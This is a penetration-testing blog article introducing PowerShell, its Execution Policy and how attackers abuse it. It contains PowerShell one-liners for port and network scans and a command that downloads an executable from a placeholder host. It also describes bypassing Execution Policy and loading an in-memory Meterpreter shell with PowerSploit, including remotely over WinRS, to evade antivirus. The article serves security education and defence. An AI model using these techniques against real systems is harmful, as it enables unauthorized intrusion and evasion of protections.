PowerShell - One Tool to Rule Them All


One Tool to Rule Them All

Michael Schneider
by Michael Schneider
time to read: 9 minutes

In the later months of 2006, Microsoft published the first version of PowerShell (codenamed Monad). With its introduction Windows finally got a mighty command-line interpreter and the management of systems using commands and scripts was made so much better. Still, PowerShell is still in a niche and is only rarely used. In this article, I’ll give you the basics of PowerShell, tell you what’s up with the Execution Policies and which advantages PowerShell offers to Penetration Testers.

Introduction to PowerShell

PowerShell is a command-line and script language that was developed with focus on management of systems. PowerShell is based on the .NET-Framework and offers many a function, also known as Cmdlets. Microsoft has developed aliases for the most commonly used Cmdlets, which are the same as they are in other command-line interpreters such as CMD.exe or bash. Wikipedia has a list of all these aliases. A useful Cmdlet is Get-Help, which will give you information on all the other Cmdlets. For Get-Help, there are the aliases of help and man.

PowerShell supports the pipeline-model, which is basically the output of a command can be piped to other commands. In order to do that, the operator | is used. This is useful when a list of values are to be filtered according to certain criteria. In the following example, all processes that are using more than 100MB are listed. With one additional step, we can stop these processes. The last line contains the shorthand code for the same commands, using PowerShell’s aliases.

PS C:\> Get-Process | Where-Object { $_.WS -gt 100MB }
PS C:\> Get-Process | Where-Object { $_.WS -gt 100MB } | Stop-Process
PS C:\> ps | ? WS -gt 100MB | kill

Apart from the operating systems, there are further Cmdlets for Microsoft services such as Exchange, SharePoint or ActiveDirectory. PowerShell is even able to manage Third Party Applications (VMWare PowerCLI among others). The use of PowerShell is not limited to the local system. Using Windows Remote Shell (WinRS) makes it possible to access a remote system.

Security Measures

The embedding of PowerShell into the operating system as well as the enormous range of functions also offer possibilities to abuse PowerShell. So, how can I control the execution of PowerShell?

PowerShell has a thing called Execution Policy, which defines under which circumstances a script is allowed to execute. By default, the execution of all scripts is disabled. The currently active setting can be read by typing Get-ExecutionPolicy and changed by Set-ExecutionPolicy. You’ll need local admin rights to use Set-ExecutionPolicy. Okay, so far, so good.

However, said Execution Policy is used for more than just one area (also known as scope). There are scopes for the local machine , the current user or the current PowerShell session. An unprivileged user can change the policy for his own account using Set-ExecutionPolicy -Scope CurrentUser <Policy> at will. This change has no effects on the execution of single or subsequent commands. Multiple commands can be – separated by a semicolon – sequenced and executed as one single command.

In the subsequent example, the Execution Policy is set to Restricted. Subsequently, there will be an error when trying to execute the script. However, if the same user executes powershell.exe directly and uses the parameter -ExecutionPolicy Unrestricted, the script will be executed.

How to bypass the Execution Policy.

This shows just one of multiple workarounds. To be brief, the Execution Policy does not offer any real protection from executing any scripts. This is known to Microsoft: In the help text concerning the Execution Policies, it is written that it is not a security system that limits the actions of a user in any sort of effective way. The Execution Policy is according to Microsoft there to provide the user with some basic rules and to protect him from violating those rules by accident. If you want to read more about this, just type man about_execution_policies.

To stop the execution of PowerShell commands or scripts, the execution of powershell.exe must be controlled, limited or totally disabled. One possibility to do that is AppLocker by Microsoft, which we’ve talked about in the labs titled Microsoft AppLocker – the little-known security feature.

PowerShell and Penetration Testing

PowerShell also offers a lot for Penetration Testers. PowerShell is very useful to launch a shell or to gather information on a locked system such as a kiosk computer or a terminal server.

PowerShell can be used to examine environments and networks. The following commands execute a port scan as well as a network scan on a certain port:

PS C:\> 1..1024 | % { echo((new-object Net.Sockets.TcpClient).Connect("",$_)) "$_ is open"} 2>$null
PS C:\> 1..255 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.$_",80)) "10.10.10.$_" }2>$null

Using PowerShell, you can download data from external sources, including Proxy support.

PS C:\> $foo = New-Object Net.WebClient
PS C:\> $foo.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
PS C:\> $foo.Downloadfile('http://example.com/file.exe', 'file.exe')

In various scenarios a shell is something very useful. Using a shell like this, you can transfer data or execute commands. In order to construct a shell, you need to execute code on a target system. This can be done by using a vulnerability or by deliberately executing a file.

PowerSploit enables users to execute a shell on a target system with ease. This requires only one PowerShell-session. Invoke-Expression downloads the script Invoke-Shellcode.ps1 and executes it in the system’s memory. Using this script, you can inject any code into the system’s memory. To make things more comfortable, Invoke-Shellcode offers the possibility to start a Meterpreter HTTP shell. When you take advantage of this, there will be no file written onto the target system which avoids it being checked by an anti-virus solution.

The following example shows the commands necessary and the construction of a Meterpreter shell. The questions asked during execution of Invoke-Shellcode can be suppressed using the parameter -Force.

The exection of PowerSploit.

How a Meterpreter session is being started.

Starting shells with PowerSploit is not limited to the local system. In combination with WinRS Meterpreter shells can be started on other systems in a Windows Infrastructure. To do this, WinRS must be activated and the user must have the rights required for the operation. WinRS executes PowerShell commands directly, without – as seen in psexec – creating a process and starting said process. It is also unnecessary to upload files to a remote system. The combination of PowerSploit and WinRS is rarely detected by any of the common anti-virus solutions.


PowerShell is very power and can be used in many ways. This means that an attacker gets a pre-installed tool that delivers all functionality needed to successfully compromise a Windows domain. The Execution Policy is not enough to control or limit the execution of PowerShell. There has already been malware based on PowerShell. On April 5th, 2014, Matt Graeber published his extended analysis of a malware based on PowerShell: PowerWorm. If you’ve only ever heard of and read about PowerShell and have had plans to actually occupy yourself with it – now’s the time.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)


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